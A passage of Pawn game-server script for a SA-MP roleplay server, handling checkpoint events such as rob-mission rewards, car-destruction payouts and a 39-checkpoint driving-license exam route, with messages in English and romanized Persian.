				if(PINFO[i][pRobSkill] < 101) {PINFO[i][pRobSkill] ++; SaveKonVal(i, "pRobSkill", PINFO[i][pRobSkill]);}
				new leveel = PlayerInfo[i][pRobSkill];
				if(leveel == 20)
				{ SendMessage(i, COLOR_YELLOW, "Your Rob Skill is now Level 2."); }
				else if(leveel == 50)
				{ SendMessage(i, COLOR_YELLOW, "Your Rob Skill is now Level 3."); }
				else if(leveel == 75)
				{ SendMessage(i, COLOR_YELLOW, "Your Rob Skill is now Level 4."); }
				else if(leveel == 100)
				{ SendMessage(i, COLOR_YELLOW, "Your Rob Skill is now Level 5."); }
				GivePlayerPool(i, pool);
				SCM(i,COLOR_SINA3,"Rob Success");
				format(sttrr, sizeof(sttrr), "You have recieved %s of this rob",FormatNumber(pool));
				SCM(i,COLOR_GREEN,sttrr);
				format(sttrr, sizeof(sttrr), "+ $%s",FormatNumber(pool));
				GameTextForPlayer(i, sttrr, 4000, 3);
				OnRob[i] = false;
				RobDriver[i] = INVALID_PLAYER_ID;
				//SaveAccount(i);
			 }
		   }
	   }
	   SetVehicleToRespawn(GetPlayerVehicleID(playerid));
	   if(PINFO[playerid][pRobSkill] < 101) {PINFO[playerid][pRobSkill] ++; SaveKonVal(playerid, "pRobSkill", PINFO[playerid][pRobSkill]);}
	   new leveel = PlayerInfo[playerid][pRobSkill];
	   if(leveel == 20)
	   { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill is now Level 2."); }
	   else if(leveel == 50)
	   { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill is now Level 3."); }
	   else if(leveel == 75)
	   { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill is now Level 4."); }
	   else if(leveel == 100)
	   { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill is now Level 5."); }
	   GivePlayerPool(playerid, pool);
	   SCM(playerid,COLOR_SINA3,"Rob Success");
	   format(sttrr, sizeof(sttrr), "You have recieved %s of this rob",FormatNumber(pool));
	   SCM(playerid,COLOR_GREEN,sttrr);
	   format(sttrr, sizeof(sttrr), "+ $%s",FormatNumber(pool));
	   GameTextForPlayer(playerid, sttrr, 4000, 3);
	   OnRob[playerid] = false;
	   RobDriver[playerid] = INVALID_PLAYER_ID;
	   RobLeader[playerid] = false;
	   RobMemberCount[playerid] = 0;
	   for(new i = 0;i<MAX_PLAYERS;i++)
	   {
		  RobMember[playerid][i] = INVALID_PLAYER_ID;
	   }
	   //SaveAccount(playerid);
}
	//////////////
	else if(CP[playerid]==198)//TCC LV
	{
	   new towedcar;
	   towedcar = GetVehicleTrailer(GetPlayerVehicleID(playerid));
	   GivePlayerPool(playerid, 150);
	   SendMessage(playerid, COLOR_LIGHTBLUE, "You destroyed the car for $150");
	   GameTextForPlayer(playerid, "~b~Car was successful destroyed", 2500, 1);
	   SetVehicleToRespawn(towedcar);
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	   CP[playerid] = 0;
	   PlayerInfo[playerid][pFAct2] += 1;
	   SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
	}
	else if(CP[playerid]==199)//TCC LS
	{
	   new towedcar;
	   towedcar = GetVehicleTrailer(GetPlayerVehicleID(playerid));
	   GivePlayerPool(playerid, 150);
	   SendMessage(playerid, COLOR_LIGHTBLUE, "You destroyed the car for $150");
	   GameTextForPlayer(playerid, "~b~Car was successful destroyed", 2500, 1);
	   SetVehicleToRespawn(towedcar);
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	   CP[playerid] = 0;
	   PlayerInfo[playerid][pFAct1] += 1;
	   SaveKonVal(playerid, "pFAct1", PINFO[playerid][pFAct1]);
	}
	else if(CP[playerid] == 94531)
	{
	SCM(playerid,COLOR_LIGHTBLUE,"Inja amoozeshgahe ranandegi ast. Baraye emtehan dadan benevis /exam.");
	CP[playerid] = 0;
	DisablePlayerCheckpoint(playerid);
	OnCheckpoint[playerid] = 0;
    PlayerTextDrawSetString(playerid, needlog[playerid], "_");
	PlayerTextDrawHide(playerid, needlog[playerid]);
	}
	else if(CP[playerid] == 94532)
	{
	SCM(playerid,COLOR_LIGHTBLUE,"Here is the driving school. Type /exam for take the driving school.");
	CP[playerid] = 0;
	DisablePlayerCheckpoint(playerid);
	OnCheckpoint[playerid] = 0;
	PlayerTextDrawSetString(playerid, needlog[playerid], "_");
	PlayerTextDrawHide(playerid, needlog[playerid]);
	}
	else if(CP[playerid] == 5)
	{
	   GameTextForPlayer(playerid, "~y~At the Missions Checkpoint", 2500, 1);
	   CP[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	}
	/*else if(CP[playerid] == 9)//Karting
	{
	   GameTextForPlayer(playerid, "~r~Wait here for more Kart Racers", 4000, 3);
//      DisablePlayerCheckpoint(playerid);
//      OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 10) { CP[playerid] = 11; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2258.7874,-2402.9712,12.7035,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 11) { CP[playerid] = 12; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2225.8755,-2461.3875,12.7190,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 12) { CP[playerid] = 13; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2276.9983,-2662.8328,12.8580,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 13) { CP[playerid] = 14; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2449.1399,-2663.0562,12.8138,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 14) { CP[playerid] = 15; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2566.9814,-2504.5686,12.7692,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 15) { CP[playerid] = 16; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2719.0520,-2503.5962,12.7706,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 16) { CP[playerid] = 17; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2720.7881,-2405.6589,12.7441,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 17) { CP[playerid] = 18; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2571.5195,-2401.1531,12.7528,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 18) { CP[playerid] = 19; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2406.6995,-2423.1182,12.6641,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 19) { CP[playerid] = 20; DisablePlayerCheckpoint(playerid); SetPlayerCheckpoint(playerid,2322.9194,-2341.5715,12.6664,8.0); OnCheckpoint[playerid] = 1; }
	else if(CP[playerid] == 20)//End of Karting
	{
	   CP[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	   GetPlayerName(playerid, name, sizeof(name));
	   if(FirstKartWinner == INVALID_PLAYER_ID)
	   {
		  FirstKartWinner = playerid;
		  for(new i = 0; i < Akharish; i++)
		  {
			 if(IsPlayerConnected(i))
			 {
				if(PlayerKarting[i] != 0 && PlayerInKart[i] != 0)
				{
					format(string, sizeof(string), "%s finished First in the Kart Race.",name);
					SendMessage(i, COLOR_WHITE, string);
				}
			 }
		  }
	   }
	   else if(SecondKartWinner == INVALID_PLAYER_ID)
	   {
		  SecondKartWinner = playerid;
		  for(new i = 0; i < Akharish; i++)
		  {
			 if(IsPlayerConnected(i))
			 {
				if(PlayerKarting[i] != 0 && PlayerInKart[i] != 0)
				{
					format(string, sizeof(string), "%s finished Second in the Kart Race.",name);
					SendMessage(i, COLOR_RED, string);
				}
			 }
		  }
	   }
	   else if(ThirdKartWinner == INVALID_PLAYER_ID)
	   {
		  ThirdKartWinner = playerid;
		  for(new i = 0; i < Akharish; i++)
		  {
			 if(IsPlayerConnected(i))
			 {
				if(PlayerKarting[i] != 0 && PlayerInKart[i] != 0)
				{
					format(string, sizeof(string), "%s finished Third in the Kart Race.",name);
					SendMessage(i, COLOR_RED, string);
					SendMessage(i, COLOR_GREEN, "** Karting Race Over **");
					CP[i] = 0;
					DisablePlayerCheckpoint(i);
					OnCheckpoint[i] = 0;
				}
			 }
		  }
	   }
	}*/
	return 1;
}
forward robanti(playerid);
public robanti(playerid) {
RobBug[playerid] = 0;
return 1;
}
public OnPlayerLeaveCheckpoint(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
if(ImInCP[playerid]==1)ImInCP[playerid]=0;
	return 1;
}

public OnPlayerEnterRaceCheckpoint(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
	if(RCP[playerid] == 99)
	{
	  DisablePlayerRaceCheckpoint(playerid);
	  RCP[playerid] =100;
	}
	else if(RCP[playerid] == 100)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~1/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1561.493774,-2191.953369,12.936288,1472.125488,-2237.209716,12.941843,5.0);
	   RCP[playerid] = 101;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 101)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~2/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1472.125488,-2237.209716,12.941843,1470.431640,-2334.468994,12.944226,5.0);
	   RCP[playerid] = 102;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 102)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~3/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1470.431640,-2334.468994,12.944226,1353.983154,-2376.276855,21.265890,5.0);
	   RCP[playerid] = 103;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 103)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~4/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1353.983154,-2376.276855,21.265890,1330.035522,-2396.710937,12.945025,5.0);
	   RCP[playerid] = 104;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 104)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~5/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1330.035522,-2396.710937,12.945025,1331.055175,-2591.120605,12.940714,5.0);
	   RCP[playerid] = 105;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 105)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~6/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1331.055175,-2591.120605,12.940714,1442.663208,-2684.880371,12.933677,5.0);
	   RCP[playerid] = 106;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 106)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~7/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1442.663208,-2684.880371,12.933677,2064.858642,-2686.086181,12.955554,5.0);
	   RCP[playerid] = 107;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 107)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~8/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2064.858642,-2686.086181,12.955554,2177.911376,-2498.611816,12.947762,5.0);
	   RCP[playerid] = 108;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 108)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~9/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2177.911376,-2498.611816,12.947762,2219.836914,-2498.827880,12.939614,5.0);
	   RCP[playerid] = 109;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 109)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~10/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2219.836914,-2498.827880,12.939614,2223.537841,-2645.591308,12.978932,5.0);
	   RCP[playerid] = 110;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 110)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~11/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2223.537841,-2645.591308,12.978932,2478.106933,-2660.145751,13.085645,5.0);
	   RCP[playerid] = 111;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 111)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~12/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2478.106933,-2660.145751,13.085645,2488.112548,-2519.865478,13.050436,5.0);
	   RCP[playerid] = 112;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 112)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~13/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2488.112548,-2519.865478,13.050436,2673.560791,-2506.146240,13.105130,5.0);
	   RCP[playerid] = 113;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 113)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~14/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2673.560791,-2506.146240,13.105130,2686.896728,-2412.507080,13.009607,5.0);
	   RCP[playerid] = 114;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 114)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~15/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2686.896728,-2412.507080,13.009607,2614.895263,-2401.050048,13.061593,5.0);
	   RCP[playerid] = 115;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 115)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~16/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2614.895263,-2401.050048,13.061593,2543.544921,-2337.763427,21.059957,5.0);
	   RCP[playerid] = 116;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 116)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~17/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2543.544921,-2337.763427,21.059957,2295.873046,-2088.983398,12.897154,5.0);
	   RCP[playerid] = 117;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 117)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~18/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2295.873046,-2088.983398,12.897154,2216.047607,-1986.554443,12.912589,5.0);
	   RCP[playerid] = 118;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 118)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~19/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2216.047607,-1986.554443,12.912589,2220.580810,-1907.479858,12.934572,5.0);
	   RCP[playerid] = 119;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 119)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~20/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2220.580810,-1907.479858,12.934572,2218.770751,-1743.232910,12.949847,5.0);
	   RCP[playerid] = 120;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 120)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~21/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2218.770751,-1743.232910,12.949847,2231.629638,-1656.253173,14.862156,5.0);
	   RCP[playerid] = 121;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 121)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~22/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2231.629638,-1656.253173,14.862156,2340.148193,-1661.961791,12.968293,5.0);
	   RCP[playerid] = 122;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 122)
	{
	   DisablePlayerRaceCheckpoint(playerid);
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~23/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerRaceCheckpoint(playerid,0,2340.148193,-1661.961791,12.968293,2344.908935,-1576.888427,23.370286,5.0);
	   RCP[playerid] = 123;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 123)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~24/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2344.908935,-1576.888427,23.370286,2210.229736,-1549.832397,1.751808,5.0);
	   RCP[playerid] = 124;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 124)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~25/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,2210.229736,-1549.832397,1.751808,1821.375244,-1498.845214,5.169769,5.0);
	   RCP[playerid] = 125;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 125)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~26/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1821.375244,-1498.845214,5.169769,1672.437255,-1477.696777,24.824853,5.0);
	   RCP[playerid] = 126;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 126)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~27/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1672.437255,-1477.696777,24.824853,1594.299316,-1501.861816,37.504440,5.0);
	   RCP[playerid] = 127;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 127)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~28/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1594.299316,-1501.861816,37.504440,1583.598144,-1618.131225,28.081453,5.0);
	   RCP[playerid] = 128;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 128)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~29/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1583.598144,-1618.131225,28.081453,1595.375366,-1743.393066,27.409721,5.0);
	   RCP[playerid] = 129;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 129)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~30/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1595.375366,-1743.393066,27.409721,1625.162231,-1878.152343,24.708734,5.0);
	   RCP[playerid] = 130;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 130)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~31/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1625.162231,-1878.152343,24.708734,1639.525024,-2037.933959,21.625909,5.0);
	   RCP[playerid] = 131;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 131)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~32/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1639.525024,-2037.933959,21.625909,1465.213500,-2114.734130,12.946805,5.0);
	   RCP[playerid] = 132;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 132)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~33/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1465.213500,-2114.734130,12.946805,1371.136962,-2141.868896,12.956277,5.0);
	   RCP[playerid] = 133;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 133)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~34/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1371.136962,-2141.868896,12.956277,1320.076416,-2253.239746,12.944632,5.0);
	   RCP[playerid] = 134;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 134)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~35/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1320.076416,-2253.239746,12.944632,1315.649902,-2196.621337,21.257022,5.0);
	   RCP[playerid] = 135;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 135)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~36/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1315.649902,-2196.621337,21.257022,1465.645629,-2197.022949,12.943295,5.0);
	   RCP[playerid] = 136;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 136)
	{
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 1;
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~37/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   SetPlayerRaceCheckpoint(playerid,0,1465.645629,-2197.022949,12.943295,1636.778686,-2197.357421,12.944990,5.0);
	   RCP[playerid] = 137;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 137)
	{
	   DisablePlayerRaceCheckpoint(playerid);
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~38/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerRaceCheckpoint(playerid,1,1636.778686,-2197.357421,12.944990,1636.778686,-2197.357421,12.944990,5.0);
	   RCP[playerid] = 138;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	}
	else if(RCP[playerid] == 138)
	{

	   new currentveh;
	   currentveh = GetPlayerVehicleID(playerid);
	   if(IsPlayerInAnyVehicle(playerid))
	   {
	   SetVehicleToRespawn(currentveh);
	   }
		PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~39/39");
		PlayerTextDrawShow(playerid, ExamTD[playerid]);
		PlayerTextDrawHide(playerid, ExamTD[playerid]);
	   DisablePlayerRaceCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	   PlayerInfo[playerid][pCarLic] = 300;
	   SaveKonVal(playerid, "pCarLic", 300);
	   TakingLesson[playerid] = 0;
	   if(PlayerInfo[playerid][pLanguage] == 2)
	   {
	   SendMessage(playerid,COLOR_LIGHTBLUE,"Done! Now you have a driving license.");
	   }
	   if(PlayerInfo[playerid][pLanguage] == 1)
	   {
	   SCM(playerid,COLOR_LIGHTBLUE,"Tamoom shod! Hala to yek govahinameye ranandegi dari.");
	   }
	   RCP[playerid] = 0;
	   PlayerPlaySound(playerid,1058,0.0,0.0,0.0);
	   GivePlayerPool(playerid,-50);
	   if(PlayerInfo[playerid][pLanguage] == 1 && PlayerInfo[playerid][pLevel] <= 1)
	   {
	   //SCM(playerid,COLOR_WHITE," ");
	   SCM(playerid,COLOR_YELLOW,"Khoobe, to alan mitooni savare motor ha va mashin ha beshi.");
	   SCM(playerid,COLOR_YELLOW,"To mitooni shoghle khoobi dashte bashi ke pool dar biyari,");
	   SCM(playerid,COLOR_YELLOW,"Benevis /jobs ta yek shoghl entekhab koni.");
	//	SCM(playerid,COLOR_LIGHTBLUE,"SERVER: Hedieye server be to yek adad Motor Faggio hast , baraye daryaft be checkpoint jadid boro.");
	   }
